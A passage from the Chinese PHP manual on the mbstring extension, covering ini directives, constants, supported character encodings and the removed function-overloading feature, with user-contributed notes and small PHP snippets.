mbstring.strict_detection | "0" | PHP_INI_ALL |
mbstring.regex_retry_limit | "1000000" | PHP_INI_ALL | 自 PHP 7.4.0 起可用。
mbstring.regex_stack_limit | "100000" | PHP_INI_ALL | 自 PHP 7.3.5 起可用。
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

mbstring.language string

mbstring 使用了国家默认语言设置（NLS）。 注意，该选项自动地定义了 mbstring.internal_encoding 和 mbstring.internal_encoding，在 php.ini 里应当放置在 mbstring.language 之后。

mbstring.encoding_translation bool

为传入的 HTTP 查询启用透明字符编码过滤器，将检测和转换输入的编码为内部字符编码（internal character encoding）。

mbstring.internal_encoding string
Warning

本过时特性将肯定会在未来被移除。

定义内部字符的默认编码。

用户应该将此选项留空，并设置 default_charset 作为代替。

mbstring.http_input string
Warning

本过时特性将肯定会在未来被移除。

定义 HTTP 输入字符的默认编码。

用户应该将此选项留空，并设置 default_charset 作为代替。

mbstring.http_output string
Warning

本过时特性将肯定会在未来被移除。

定义 HTTP 输出字符的默认编码。

用户应该将此选项留空，并设置 default_charset 作为代替。

mbstring.detect_order string

定义字符编码的默认检测顺序。参见 mb_detect_order()。

mbstring.substitute_character string

为无效编码的字符定义替代字符。 参见 mb_substitute_character() ，查看支持的值。

mbstring.func_overload string
Warning

本特性自 PHP 7.2.0 起废弃，并且自 PHP 8.0.0 起被移除。 强烈建议不要使用本特性。

用 mbstring 对应的函数覆盖单字节版本的函数集。更多信息参见函数的覆盖。

该设置仅能通过 php.ini 文件来修改。

mbstring.http_output_conv_mimetypes string

mbstring.strict_detection bool

使用严格的编码检测。有关描述和示例，参见 mb_detect_encoding()。

mbstring.regex_retry_limit int

Limits the amount of backtracking that may be performed during one mbregex match.

此设置仅在链接的 oniguruma >= 6.8.0 时生效。

mbstring.regex_stack_limit int

限制 mbstring 正则表达式的栈深度。

根据 » HTML4.01 规范，允许 Web 浏览器以页面不同的字符编码来提交表单。参见用 mb_http_input() 来检测浏览器使用的字符编码。

尽管流行的浏览器能够根据给出的 HTML 文档合理猜测正确的编码，但如果能通过 header() 函数在 HTTP 的 Content-Type 头内或 ini 的 default_charset 里设置适当的 charset 参数则会更佳。

Example #1 php.ini 设置例子

; 设置默认语言
mbstring.language        = Neutral; 设置默认语言 Neutral(UTF-8) (默认的值)
mbstring.language        = English; 设置默认语言为 English
mbstring.language        = Japanese; 设置默认语言为 Japanese

;; 设置内部的默认编码
;; 注意：请确保这个编码能被 PHP 所处理
mbstring.internal_encoding    = UTF-8  ; 设置内部的默认编码为 UTF-8

;; 启用 HTTP 输入编码的转换
mbstring.encoding_translation = On

;; 设置 HTTP 输入的默认编码
;; 注意：脚本不能修改 http_input 的设置
mbstring.http_input           = pass    ; 不转换
mbstring.http_input           = auto    ; 设置 HTTP 输入为 auto
                                ; "auto" 会根据 mbstring.language 自动扩展
mbstring.http_input           = SJIS    ; 设置 HTTP 输入编码为 SJIS
mbstring.http_input           = UTF-8,SJIS,EUC-JP ; 指定顺序

;; 设置 HTTP 输出的默认编码
mbstring.http_output          = pass    ; 不转换
mbstring.http_output          = UTF-8   ; 设置 HTTP 输出编码为 UTF-8

;; 设置字符编码的默认检测顺序
mbstring.detect_order         = auto    ; Set detect order to auto
mbstring.detect_order         = ASCII,JIS,UTF-8,SJIS,EUC-JP ; Specify order

;; 设置默认的替代字符
mbstring.substitute_character = 12307   ; 指定 Unicode 值
mbstring.substitute_character = none    ; 不打印字符
mbstring.substitute_character = long    ; Long 的例子： U+3000,JIS+7E7E

Example #2 php.ini 里 EUC-JP 用户的设置

;; 禁用输出缓冲
output_buffering      = Off

;; 设置 HTTP header 字符编码
default_charset       = EUC-JP

;; 设置默认语言为 Japanese
mbstring.language = Japanese

;; 启用 HTTP 输入编码的转换
mbstring.encoding_translation = On

;; 启用 HTTP 输入转换的编码为 auto
mbstring.http_input   = auto

;; 转换 HTTP 输出的编码为 EUC-JP
mbstring.http_output  = EUC-JP

;; 设置内部编码为 EUC-JP
mbstring.internal_encoding = EUC-JP

;; 不要打印无效的字符
mbstring.substitute_character = none

Example #3 php.ini 里 SJIS 用户的设置

;; 启用输出缓冲
output_buffering     = On

;; 设置 mb_output_handler 来启用输出编码的转换
output_handler       = mb_output_handler

;; 设置 HTTP header 的字符编码
default_charset      = Shift_JIS

;; 设置默认语言为 Japanese
mbstring.language = Japanese

;; 设置 http 输入转换的编码为 auto
mbstring.http_input  = auto

;; 转换成 SJIS
mbstring.http_output = SJIS

;; 设置内部变量为 EUC-JP
mbstring.internal_encoding = EUC-JP

;; 不要打印无效的字符
mbstring.substitute_character = none

User Contributed Notes

ASchmidt at Anamera dot net 30-Jul-2018 12:17
The documentation is vague, on WHAT precisely the valid "NLS" language strings are that are valid for "mbstring.language".

According to http://php.net/manual/en/function.mb-language.php the values are "Japanese", "ja", "English", "en", or "uni" for UTF-8.
On the other hand, the sample on this current page omits "uni" but introduces "Neutral" as an undocumented option - which is also the default value:

<?php
var_dump( mb_language() );   // "neutral" (default if not set)
var_dump( mb_language( 'uni' ) );    // TRUE, valid language string
var_dump( mb_language() );    // "uni"
var_dump( mb_language( 'neutral' ) );    // TRUE, valid language string
var_dump( mb_language() );    // "neutral"
?>
Hayley Watson 24-Jun-2018 02:28
String literals in the PHP script are encoded with the same encoding that the PHP file was saved with. This is not affected by default_charset or other .ini settings.

Scenario: The default_charset is KOI8-R, and there is a text file "input.txt" containing the string "Это текст для поиска." in KOI8-R encoding.

A PHP script is written:
<?php

// mb_internal_encoding('KOI8-R');

$string  = 'текст.';

$data = file_get_contents('input.txt');

echo mb_strpos($data, $string);

?>
But unfortunately it was saved as UTF-8.

It doesn't work; mb_strpos() returns false because it can't find the UTF-8-encoded "текст" inside the KOI8-R-encoded "Это текст для поиска.".

Adjusting the default_charset had no effect. Not even fiddling with mb_internal_encoding could fix it, simply because the strings involved had *different* encodings and without actually changing one of them they just weren't going to match.

Either re-save the source file as KOI8-R to match the data file, or re-save the data file as UTF-8 to match the source code. Only then will the script properly echo '4'.
PRETTYGIRL NOT COMe 17-Aug-2013 11:51
Note that you should better at least set "mbstring.internal_encoding".

Just check as below:

<?php

echo mb_internal_encoding() . '<br />';
echo mb_regex_encoding();

?>

You might be surprised at unexpected values.

eg.

mbstring.language Japanese
;mbstring.internal_encoding (commented out showing "no value" in phpinfo() )

These two lines in "php.ini" are the same values as

mb_internal_encoding("EUC-JP");
mb_regex_encoding("EUC-JP");

in Win / Linux servers.

"mbstring.internal_encoding" defines the default encoding for "mb_" Functions such as "mb_strlen()".

It also defines the same for "mb_ereg_" Functions such as "mb_ereg()" when you don't set "mb_regex_encoding".


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

MB_OVERLOAD_MAIL (int)
自 PHP 8.0.0 起已删除。
MB_OVERLOAD_STRING (int)
自 PHP 8.0.0 起已删除。
MB_OVERLOAD_REGEX (int)
自 PHP 8.0.0 起已删除。
MB_CASE_UPPER (int)
Performs a full upper-case folding. This may change the length of the string. This is the mode used by mb_strtoupper().
MB_CASE_LOWER (int)
Performs a full lower-case folding. This may change the length of the string. This is the mode used by mb_strtolower().
MB_CASE_TITLE (int)
Performs a full title-case conversion based on the Cased and CaseIgnorable derived Unicode properties. In particular this improves handling of quotes and apostrophes. This may change the length of the string.
MB_CASE_FOLD (int)
Performs a full case fold conversion which removes case distinctions present in the string. This is used for caseless matching. This may change the length of the string. Available since PHP 7.3.
MB_CASE_LOWER_SIMPLE (int)
Performs a simple lower-case fold conversion. This does not change the length of the string. Available as of PHP 7.3.
MB_CASE_UPPER_SIMPLE (int)
Performs simple upper-case fold conversion. This does not change the length of the string. Available as of PHP 7.3.
MB_CASE_TITLE_SIMPLE (int)
Performs simple title-case fold conversion. This does not change the length of the string. Available as of PHP 7.3.
MB_CASE_FOLD_SIMPLE (int)
Performs a simple case fold conversion which removes case distinctions present in the string. This is used for caseless matching. This does not change the length of the string. Used by case-insensitive operations internally by the MBString extension. Available as of PHP 7.3.
MB_ONIGURUMA_VERSION (string)
Oniguruma 版本，例如 6.9.4。自 PHP 7.4 起可用。

User Contributed Notes

There are no user contributed notes for this page.


支持编码的摘要

支持编码的摘要
IANA 字符集注册表内的名称 | 相关字符集 | 描述 | 额外的说明
ISO-10646-UCS-4 | ISO 10646 | 31位编码空间的通用字符集，以 ISO/IEC 10646 标准化为 UCS-4。 它和最新的 Unicode 代码映射表保持同步。 | 如果在编码转化程序中使用了这个名字，转换器将尝试识别前缀的 BOM头（字节顺序标记），即表示后续字节的字节序。
ISO-10646-UCS-4 | UCS-4 | 参见以上。 | 和 UCS-4 相比较，字符串总是设为大端序（big endian）的形式。
ISO-10646-UCS-4 | UCS-4 | 参见以上。 | 和 UCS-4 相比较，字符串总是设为小端序（little endian）的形式。
ISO-10646-UCS-2 | UCS-2 | 16位编码空间的通用字符集，以 ISO/IEC 10646 标准化为 UCS-2。它和最新的 Unicode 代码映射表保持同步。 | 如果在编码转化程序中使用了这个名字，转换器将尝试识别前缀的 BOM头（字节顺序标记），即表示后续字节的字节序。
ISO-10646-UCS-2 | UCS-2 | 参见以上。 | 和 UCS-2 相比较，字符串总是设为大端序（big endian）的形式。
ISO-10646-UCS-2 | UCS-2 | 参见以上。 | 和 UCS-2 相比较，字符串总是设为小端序（little endian）的形式。
UTF-32 | Unicode | 32 位单位宽度的 Unicode 转换格式，涉及到了 Unicode 字符集标准。该编码方案和 UCS-4 没有完全相同，因为 Unicode 编码空间限制为 21 位的值。 | 如果在编码转化程序中使用了这个名字，转换器将尝试识别前缀的 BOM头（字节顺序标记），即表示后续字节的字节序。
UTF-32BE | Unicode | 参见以上 | 和 UTF-32 相比较，字符串总是设为大端序（big endian）的形式。
UTF-32LE | Unicode | 参见以上 | 和 UTF-32 相比较，字符串总是设为小端序（little endian）的形式。
UTF-16 | Unicode | 16 位单位宽度的 Unicode 转换格式。值得一记的是，UTF-16 的规格不再和 UCS-2 一样， 因为 Unicode 2.0 引入了代理机制（surrogate mechanism），UTF-16 现在指向了 21 位的编码空间。 | 如果在编码转化程序中使用了这个名字，转换器将尝试识别前缀的 BOM头（字节顺序标记），即表示后续字节的字节序。
UTF-16BE | Unicode | 参见以上。 | 和 UTF-16 相比较，字符串总是设为大端序（big endian）的形式。
UTF-16LE | Unicode | 参见以上。 | 和 UTF-16 相比较，字符串总是设为小端序（little endian）的形式。
UTF-8 | Unicode / UCS | 8 位单位宽度的 Unicode 转换格式。 | none
UTF-7 | Unicode | 一种邮件安全的 Unicode 转换格式，规格是 » RFC2152。 | none
(none) | Unicode | UTF-7 的一种变体，其规格在 » IMAP 协议 中用到了。 | none
US-ASCII (首选 MIME 名称) / iso-ir-6 / ANSI_X3.4-1986 / ISO_646.irv:1991 / ASCII / ISO646-US / us / IBM367 / CP367 / csASCII | ASCII / ISO 646 | 美国标准代码（American Standard Code）是一种常用的 7-bit 信息交换编码。同样，标准化为 ISO 646 国际标准。 | (none)
EUC-JP (首选 MIME 名称) / Extended_UNIX_Code_Packed_Format_for_Japanese / csEUCPkdFmtJapanese | US-ASCII / JIS X0201:1997 (半角假名部分) / JIS X0208:1990 / JIS X0212:1990 的复合 | 就像你所看到的，名字来源于扩展 Extended UNIX Code Packed Format for Japanese 的缩写，该编码常用于 UNIX 或类似平台。原始编码方案 Extended UNIX Code 基于 ISO 2022 而设计。 | EUC-JP 涉及的字符集和 IBM932 / CP932 是不一样的，后者使用于 OS/2® 和 Microsoft® Windows®。 这些平台上的信息交换，使用 EUCJP-WIN 来代替。
Shift_JIS (首选 MIME 名称) / MS_Kanji / csShift_JIS | JIS X0201:1997 / JIS X0208:1997 的复合 | 80 年代初，个人日文文字处理软件进入了市场之时，为了兼容传统编码方案 JIS X 0201:1976，开发了 Shift_JIS。 根据 IANA 对 Shift_JIS 编码集的定义，和 IBM932 / CP932 稍有不同。但 "SJIS"、"Shift_JIS" 的名称常被错误得指向这些编码集。 | 要使用 CP932，使用 SJIS-WIN 作为替代。
(none) | JIS X0201:1997 / JIS X0208:1997 / IBM extensions / NEC extensions 的复合 | 虽然此 "encoding" 使用了 EUC-JP 同样的方案，一些字符集有所不同。 也就是说，一些编码映射到了和 EUC-JP 不同的字符。 | none
Windows-31J / csWindows31J | JIS X0201:1997 / JIS X0208:1997 / IBM extensions / NEC extensions 的符合 | 虽然此 "encoding" 使用了 Shift_JIS 同样的方案，一些字符集有所不同。 也就是说，一些编码映射到了和 Shift_JIS 不同的字符。 | (none)
ISO-2022-JP (首选 MIME 名称) / csISO2022JP | US-ASCII / JIS X0201:1976 / JIS X0208:1978 / JIS X0208:1983 | » RFC1468 | (none)
JIS |  |  |
ISO-8859-1 |  |  |
ISO-8859-2 |  |  |
ISO-8859-3 |  |  |
ISO-8859-4 |  |  |
ISO-8859-5 |  |  |
ISO-8859-6 |  |  |
ISO-8859-7 |  |  |
ISO-8859-8 |  |  |
ISO-8859-9 |  |  |
ISO-8859-10 |  |  |
ISO-8859-13 |  |  |
ISO-8859-14 |  |  |
ISO-8859-15 |  |  |
ISO-8859-16 |  |  |
byte2be |  |  |
byte2le |  |  |
byte4be |  |  |
byte4le |  |  |
BASE64 |  |  |
HTML-ENTITIES |  |  |
7bit |  |  |
8bit |  |  |
EUC-CN |  |  |
CP936 |  |  |
HZ |  |  |
EUC-TW |  |  |
CP950 |  |  |
BIG-5 |  |  |
EUC-KR |  |  |
UHC (CP949) |  |  |
ISO-2022-KR |  |  |
Windows-1251 (CP1251) |  |  |
Windows-1252 (CP1252) |  |  |
CP866 (IBM866) |  |  |
KOI8-R |  |  |
KOI8-U |  |  |

User Contributed Notes

There are no user contributed notes for this page.


日文字符多字节编码基础

日文字符只能使用多字节编码，而且，编码规范取决于平台和字符的使用 目的（text purpose)。跟糟糕的是，编码规范之间还稍有差异。为了开发 出适应日文环境的Web应用，开发人员必须对编码规范有个清晰的认识，确保 使用了合适的编码规范。

  • 存储一个日文字符最大需要6个字节空间
  • 多数日文多字节字符是单字节字符出现频率的两倍。这些字符被称为 "zen-kaku"，在日文中代表的意思是"full width"。 其它窄一些的字符被称作"han-kaku"，意思是"half width"。 字符实际显示的宽度，取决于显示时使用的字体。
  • 有些字符编码采用ISO-2022定义的转码序列（shift sequences) 来转换特殊的编码 空间(00h to 7fh)。
  • 在SMTP/NNTP协议应用中 建议 采用ISO-2022-JP编码，并且头部和实体部分，应该按照 RFC要求重新编码。虽然这些并不是强制性要求，但最好还是按这个建议做，因为几款 流行的客户端不支持其他的编码方式。
  • 手机服务页面，例如» i-mode或者» EZweb 应该 使用Shift_JIS编码。
  • Emoji 已经可以支持像 » i-mode 或者 » EZweb 这样的手机服务。

User Contributed Notes

gullevek at gullevek dot org 25-Aug-2010 12:24
For ISO-2022-JP encoding. If you convert data into this encoding it is highly recommended you use ISO-2022-JP-MS for the extended character set, eg the 1 in a circle ①.

For the mail header on the other hand you have to use ISO-2022-JP *without* the -MS extension.


HTTP 输入和输出

HTTP 输入/输出字符编码转换同样也适用于二进制数据。 如果 HTTP 输入/输出用到了二进制数据，用户应当控制字符的编码转换。

Note:

如果 HTML 表单的 enctype 属性设置为 multipart/form-data，并且 php.ini 里的 mbstring.encoding_translation 设置为 On， POST 的变量以及上传文件的名称也将会被转换到内部字符编码。 不过，转换不会应用于查询（query）的键。

  • HTTP 输入

    在 PHP 脚本里无法控制 HTTP 输入字符的转换。 要禁用 HTTP 输入字符的转换，必须要在 php.ini 里设置。

    Example #1 在 php.ini 中禁用 HTTP 输入转换

    ;; 禁用 HTTP 输入转换
mbstring.http_input = pass
;;禁用 HTTP 输入转换
mbstring.encoding_translation = Off

    当 PHP 以 Apache 模块运行。这些设置还可以通过 httpd.conf 内每个虚拟主机（Virtual Host）指令或每个目录下的 .htaccess 来覆盖（override）。 详情参见配置这一节，以及 Apache 手册。

  • HTTP 输出

    输出字符编码转换的使用有几种方式。 一种是使用 php.ini，另一种是使用 ob_start()，以 mb_output_handler() 作为 ob_start 的回调函数。

Example #2 php.ini 设置例子

;; 为所有 PHP 页面启用输出字符编码的转换

;; 启用输出缓冲
output_buffering    = On

;; 设置 mb_output_handler 来进行输出的转换
output_handler      = mb_output_handler

Example #3 脚本例子

<?php

// 仅为此页面启用输出字符编码的转换

// 设置 HTTP 输出字符编码为 SJIS
mb_http_output('SJIS');

// 开始缓冲并指定 "mb_output_handler" 为回调函数
ob_start('mb_output_handler');

?>

User Contributed Notes

There are no user contributed notes for this page.


支持的字符编码

当前 mbstring 模块支持以下的字符编码。这些字符编码中的任意一个都能指定到 mbstring 函数中的 encoding 参数。

该 PHP 扩展支持的字符编码有以下几种：

  • UCS-4*
  • UCS-4BE
  • UCS-4LE*
  • UCS-2
  • UCS-2BE
  • UCS-2LE
  • UTF-32*
  • UTF-32BE*
  • UTF-32LE*
  • UTF-16*
  • UTF-16BE*
  • UTF-16LE*
  • UTF-7
  • UTF7-IMAP
  • UTF-8*
  • ASCII*
  • EUC-JP*
  • SJIS*
  • eucJP-win*
  • SJIS-win*
  • ISO-2022-JP
  • ISO-2022-JP-MS
  • CP932
  • CP51932
  • SJIS-mac（别名：MacJapanese）
  • SJIS-Mobile#DOCOMO（别名：SJIS-DOCOMO）
  • SJIS-Mobile#KDDI（别名：SJIS-KDDI）
  • SJIS-Mobile#SOFTBANK（别名：SJIS-SOFTBANK）
  • UTF-8-Mobile#DOCOMO（别名：UTF-8-DOCOMO）
  • UTF-8-Mobile#KDDI-A
  • UTF-8-Mobile#KDDI-B（别名：UTF-8-KDDI）
  • UTF-8-Mobile#SOFTBANK（别名：UTF-8-SOFTBANK）
  • ISO-2022-JP-MOBILE#KDDI（别名：ISO-2022-JP-KDDI）
  • JIS
  • JIS-ms
  • CP50220
  • CP50220raw
  • CP50221
  • CP50222
  • ISO-8859-1*
  • ISO-8859-2*
  • ISO-8859-3*
  • ISO-8859-4*
  • ISO-8859-5*
  • ISO-8859-6*
  • ISO-8859-7*
  • ISO-8859-8*
  • ISO-8859-9*
  • ISO-8859-10*
  • ISO-8859-13*
  • ISO-8859-14*
  • ISO-8859-15*
  • ISO-8859-16*
  • byte2be
  • byte2le
  • byte4be
  • byte4le
  • BASE64
  • HTML-ENTITIES（别名：HTML）
  • 7bit
  • 8bit
  • EUC-CN*
  • CP936
  • GB18030
  • HZ
  • EUC-TW*
  • CP950
  • BIG-5*
  • EUC-KR*
  • UHC（别名：CP949）
  • ISO-2022-KR
  • Windows-1251（别名：CP1251）
  • Windows-1252（别名：CP1252）
  • CP866（别名：IBM866）
  • KOI8-R*
  • KOI8-U*
  • ArmSCII-8（别名：ArmSCII8）

* 表示该编码也可以在正则表达式中使用。

任何接受编码名称的 php.ini 条目同样也可以使用 "auto" 和 "pass" 的值。 接受编码名的 mbstring 函数同样也可以使用值 "auto"。

如果设置了 "pass"，将不会对字符的编码进行转化。

如果设置了 "auto"，它将扩展成 NLS 中定义的每个字符编码列表。 比如，假设 NLS 设置为 Japanese，值将会认为是 "ASCII,JIS,UTF-8,EUC-JP,SJIS"。

参见 mb_detect_order()

User Contributed Notes

Anonymous 07-Sep-2014 06:32
CP850 (DOS-Latin-1) is also supported.
Tomolimo (olivier dot moron at raynet-it dot com) 13-Sep-2013 02:12
Apart of this list, GB2312 encoding is also supported.
It is Chinese Simplified encoding which is now superseded by GB18030, but GB2312 is not in the list.
If you try to us it, the result will allright even if it is not in the list.
Regards,
Tomolimo
akniep at rayo dot info 10-Dec-2012 03:42
Use mb_list_encodings() to check if an encoding is supported by mbstring before using its functions for it.


函数重载功能

Warning

本特性自 PHP 7.2.0 起废弃，并且自 PHP 8.0.0 起被移除。 强烈建议不要使用本特性。

你也许常常会发现现存的 PHP 应用很难运行在多字节环境下。 发生这种情况的原因是大多数那种 PHP 应用使用了标准的字符串函数，类似 substr()，已知无法处理多字节编码的字符串。

mbstring 支持一个"函数重载"功能，将对应的多字节版本重载到标准字符处理函数上，例如你能够让这类应用在不修改代码的前提下添加多字节的处理能力。 比如，启用函数重载后，mb_substr() 将会代替 substr() 被调用。 在很多情况下这个功能允许让仅支持单字节编码的应用简单地和多字节环境对接。

要使用函数重载功能，设置 php.ini 里的 mbstring.func_overload 为正值，就是表示为重载函数分类的位掩码组合。 要重载 mail() 函数需要设置它为 1。字符串函数设置为 2，正则表达式函数为 4。 例如，当它设置为 7， mail、strings 和 正则表达式函数将都会被重载。 以下列表显示了重载的函数。

被重载的函数
mbstring.func_overload 的值 | 原始函数 | 重载后的函数
1 | mail() | mb_send_mail()
2 | strlen() | mb_strlen()
2 | strpos() | mb_strpos()
2 | strrpos() | mb_strrpos()
2 | substr() | mb_substr()
2 | strtolower() | mb_strtolower()
2 | strtoupper() | mb_strtoupper()
2 | stripos() | mb_stripos()
2 | strripos() | mb_strripos()
2 | strstr() | mb_strstr()
2 | stristr() | mb_stristr()
2 | strrchr() | mb_strrchr()
2 | substr_count() | mb_substr_count()

Note:

不推荐每个目录的范围（context）内使用函数重载选项，因为还无法确定在生产环境中是否稳定，也许会导致不确定的行为。

User Contributed Notes

Anonymous 23-Mar-2017 08:20
I took over a project with this "feature" enabled... took me a while to figure out why strings behaved non language standard. So, if you like to make grown men cry - by all means enable this deathtrap.
Anonymous 18-Mar-2016 04:40
it's kinda evil and gives you tons of headache.
Grandt 16-Jun-2014 11:10
In short, only use mbstring.func_overload if you are 100% certain that nothing on your site relies on manipulating binary data in PHP.
Oliver Baltz 26-Jul-2010 02:25
In case you need to (de)activate the overloading for a specific directory, try setting an appropriate php_admin_value in your httpd.conf, e.g.

<Directory ...>
   ...
   php_admin_value mbstring.func_overload 7
</Directory>

I'm not 100% sure if one can rely on that, but it seems to work for me.


PHP字符编码的要求

以下类型的编码能够被 PHP 安全地使用。

  • 单字节编码

    • ASCII兼容（ISO646 兼容），在 00h 到 7fh 的范围内映射字符集。

  • 多字节编码，

    • ASCII兼容，在 00h 到 7fh 的范围内映射字符集。
    • 不使用 ISO2022 转义序列（escape sequences）。
    • 单个字符以任意复合字节表达、不使用 00h 到 7fh 的值。

有几个不太可能用 PHP 运行的字符编码例子。

JIS, SJIS, ISO-2022-JP, BIG-5

虽然用任何其中一个编码来编写 PHP 脚本可能无法工作，尤其是这些编码的字符串以标识符（identifier）和字符（literal）出现， 但通过设置 mbstring 透明地过滤编码的函数，你几乎可以避免传入的 HTTP 查询使用这些编码。

Note:

我们极度不赞成在内部编码中使用 SJIS、BIG5、CP936、CP949 和 GB18030，除非你熟悉解析器（parser）、扫描器（scanner）和该字符编码。

Note:

当你用 PHP 连接到一个数据库，为了易用性和性能，推荐在数据库和内部编码使用一致的字符编码。

如果你使用的是 PostgreSQL，数据库里使用的编码和 PHP 里使用的编码可以是不同的，因为它支持字符集在前端和后端之间进行自动转换。

User Contributed Notes

There are no user contributed notes for this page.


多字节字符串 函数

参考资料

多字节字符编码方案和他们相关的问题相当复杂，超越了本文档的范围。 关于这些话题的更多信息请参考以下 URL 和其他资源。

  • Unicode materials

    » http://www.unicode.org/

  • Japanese/Korean/Chinese 字符信息

    » https://resources.oreilly.com/examples/9781565922242/blob/master/doc/cjk.inf

Table of Contents

  • mb_check_encoding — 检查字符串在指定的编码里是否有效
  • mb_chr — 按 Unicode 码位值返回字符
  • mb_convert_case — 对字符串进行大小写转换
  • mb_convert_encoding — 转换字符串，从一个字符编码到另一个字符编码
  • mb_convert_kana — Convert "kana" one from another ("zen-kaku", "han-kaku" and more)
  • mb_convert_variables — 转换一个或多个变量的字符编码
  • mb_decode_mimeheader — 解码 MIME 头字段中的字符串
  • mb_decode_numericentity — 根据 HTML 数字字符串解码成字符
  • mb_detect_encoding — 检测字符的编码
  • mb_detect_order — 设置/获取 字符编码的检测顺序
  • mb_encode_mimeheader — 为 MIME 头编码字符串
  • mb_encode_numericentity — Encode character to HTML numeric string reference
  • mb_encoding_aliases — Get aliases of a known encoding type
  • mb_ereg_match — Regular expression match for multibyte string
  • mb_ereg_replace_callback — Perform a regular expression search and replace with multibyte support using a callback
  • mb_ereg_replace — Replace regular expression with multibyte support
  • mb_ereg_search_getpos — Returns start point for next regular expression match
  • mb_ereg_search_getregs — Retrieve the result from the last multibyte regular expression match
  • mb_ereg_search_init — Setup string and regular expression for a multibyte regular expression match
  • mb_ereg_search_pos — Returns position and length of a matched part of the multibyte regular expression for a predefined multibyte string
  • mb_ereg_search_regs — Returns the matched part of a multibyte regular expression
  • mb_ereg_search_setpos — Set start point of next regular expression match
  • mb_ereg_search — Multibyte regular expression match for predefined multibyte string
  • mb_ereg — Regular expression match with multibyte support
  • mb_eregi_replace — Replace regular expression with multibyte support ignoring case
  • mb_eregi — Regular expression match ignoring case with multibyte support
  • mb_get_info — 获取 mbstring 的内部设置
  • mb_http_input — 检测 HTTP 输入字符编码
  • mb_http_output — 设置/获取 HTTP 输出字符编码
  • mb_internal_encoding — 设置/获取内部字符编码
  • mb_language — 设置/获取当前的语言
  • mb_list_encodings — 返回所有支持编码的数组
  • mb_ord — 获取字符的 Unicode 码位值
  • mb_output_handler — 在输出缓冲中转换字符编码的回调函数
  • mb_parse_str — 解析 GET/POST/COOKIE 数据并设置全局变量
  • mb_preferred_mime_name — 获取 MIME 字符串
  • mb_regex_encoding — Set/Get character encoding for multibyte regex
  • mb_regex_set_options — Set/Get the default options for mbregex functions
  • mb_scrub — Replace ill-formed byte sequences with the substitute character
  • mb_send_mail — 发送编码过的邮件
  • mb_split — 使用正则表达式分割多字节字符串
  • mb_str_pad — Pad a multibyte string to a certain length with another multibyte string
  • mb_str_split — 指定多字节字符串，返回其字符数组
  • mb_strcut — 获取字符的一部分
  • mb_strimwidth — 获取按指定宽度截断的字符串
  • mb_stripos — 大小写不敏感地查找字符串在另一个字符串中首次出现的位置
  • mb_stristr — 大小写不敏感地查找字符串在另一个字符串里的首次出现
  • mb_strlen — 获取字符串的长度
  • mb_strpos — 查找字符串在另一个字符串中首次出现的位置
  • mb_strrchr — 查找指定字符在另一个字符串中最后一次的出现
  • mb_strrichr — 大小写不敏感地查找指定字符在另一个字符串中最后一次的出现
  • mb_strripos — 大小写不敏感地在字符串中查找一个字符串最后出现的位置
  • mb_strrpos — 查找字符串在一个字符串中最后出现的位置
  • mb_strstr — 查找字符串在另一个字符串里的首次出现
  • mb_strtolower — 使字符串小写
  • mb_strtoupper — 使字符串大写
  • mb_strwidth — 返回字符串的宽度
  • mb_substitute_character — 设置/获取替代字符
  • mb_substr_count — 统计字符串出现的次数
  • mb_substr — 获取部分字符串

User Contributed Notes

abidul dot rmdn at gmail dot com 18-Jun-2019 10:16
Having to migrate to MB functions can be a bit of pain if you have a big project. it took us a while at my company but then we made a small script and explained it in a small blog.
https://link.medium.com/25w1LronCX

which makes it really easy to migrate to mb_ functions.
Hayley Watson 23-Jun-2018 01:06
SOME multibyte encodings can safely be used in str_replace() and the like, others cannot. It's not enough to ensure that all the strings involved use the same encoding: obviously they have to, but it's not enough. It has to be the right sort of encoding.

UTF-8 is one of the safe ones, because it was designed to be unambiguous about where each encoded character begins and ends in the string of bytes that makes up the encoded text. Some encodings are not safe: the last bytes of one character in a text followed by the first bytes of the next character may together make a valid character. str_replace() knows nothing about "characters", "character encodings" or "encoded text". It only knows about the string of bytes. To str_replace(), two adjacent characters with two-byte encodings just looks like a sequence of four bytes and it's not going to know it shouldn't try to match the middle two bytes.

While real-world examples can be found of str_replace() mangling text, it can be illustrated by using the HTML-ENTITIES encoding. It's not one of the safe ones. All of the strings being passed to str_replace() are valid HTML-ENTITIES-encoded text so the "all inputs use the same encoding" rule is satisfied.

The text is "x<y". It is represented by the byte string [78 26 6c 74 3b 79]. Note that the text has three characters, but the string has six bytes.

<?php

$string = 'x&lt;y';
mb_internal_encoding('HTML-ENTITIES');

echo "Text length: ", mb_strlen($string), "\tString length: ", strlen($string), " ... ", $string, "\n";
// Three characters, six bytes; the text reads "x<y".

$newstring = str_replace('l', 'g', $string);
echo "Text length: ", mb_strlen($newstring), "\tString length: ", strlen($newstring), " ... ", $newstring, "\n";
// Three characters, six bytes, but now the text reads "x>y"; the wrong characters have changed.

$newstring = str_replace(';', ':', $string);
echo "Text length: ", mb_strlen($newstring), "\tString length: ", strlen($newstring), " ... ", $newstring, "\n";
// Now even the length of the text is wrong and the text is trashed.

?>

Even though neither 'l' nor ';' appear in the text "x<y", str_replace() still found and changed bytes. In one case, it changed the text to "x>y" and in the other it broke the encoding completely.

One more reason to use UTF-8 if you can, I guess.
v dot r dot sanaty at gmail dot com 29-Oct-2017 05:24
The multibyte version of substr_replace function:
(Inspired by roydukkey's note with some corrections)

function mb_substr_replace($string, $replacement, $start, $length){
    return mb_substr($string, 0, $start).$replacement.mb_substr($string, $start+$length);
}
rr_news at live dot de 14-Dec-2016 01:36
The suggestion from "mt at mediamedics dot nl" is not that bad like the down votes indicate. There is only one small bug which can be easily fixed to make it work.
The head of the "for" need to be modified by replacing $i + $split_length by $i += $split_length.

Here is the full working code, with additional check to verify that the method doesn't exists already:

<?php
if ( !function_exists('mb_str_split') )
{
    function mb_str_split($string, $split_length = 1)
    {
        mb_internal_encoding('UTF-8');
        mb_regex_encoding('UTF-8');

        $split_length = ($split_length <= 0) ? 1 : $split_length;

        $mb_strlen = mb_strlen($string, 'utf-8');

        $array = array();

        for($i = 0; $i < $mb_strlen; $i += $split_length)
        {
            $array[] = mb_substr($string, $i, $split_length);
        }

        return $array;
    }
}
?>
php at kamiware dot org 05-Nov-2016 10:23
str_replace is NOT multi-bite safe.

This Ukrainian word gives a bug when used in the next code: в?део

$rubishcharacters='[#|\[{}\]′`≠,;.:-\\_<>=*+"\'?()!§$&%';
$searchstring='в?део';

$result = str_replace(str_split($rubishcharacters), ' ', $searchstring);
treilor at gmail dot com 23-May-2014 08:43
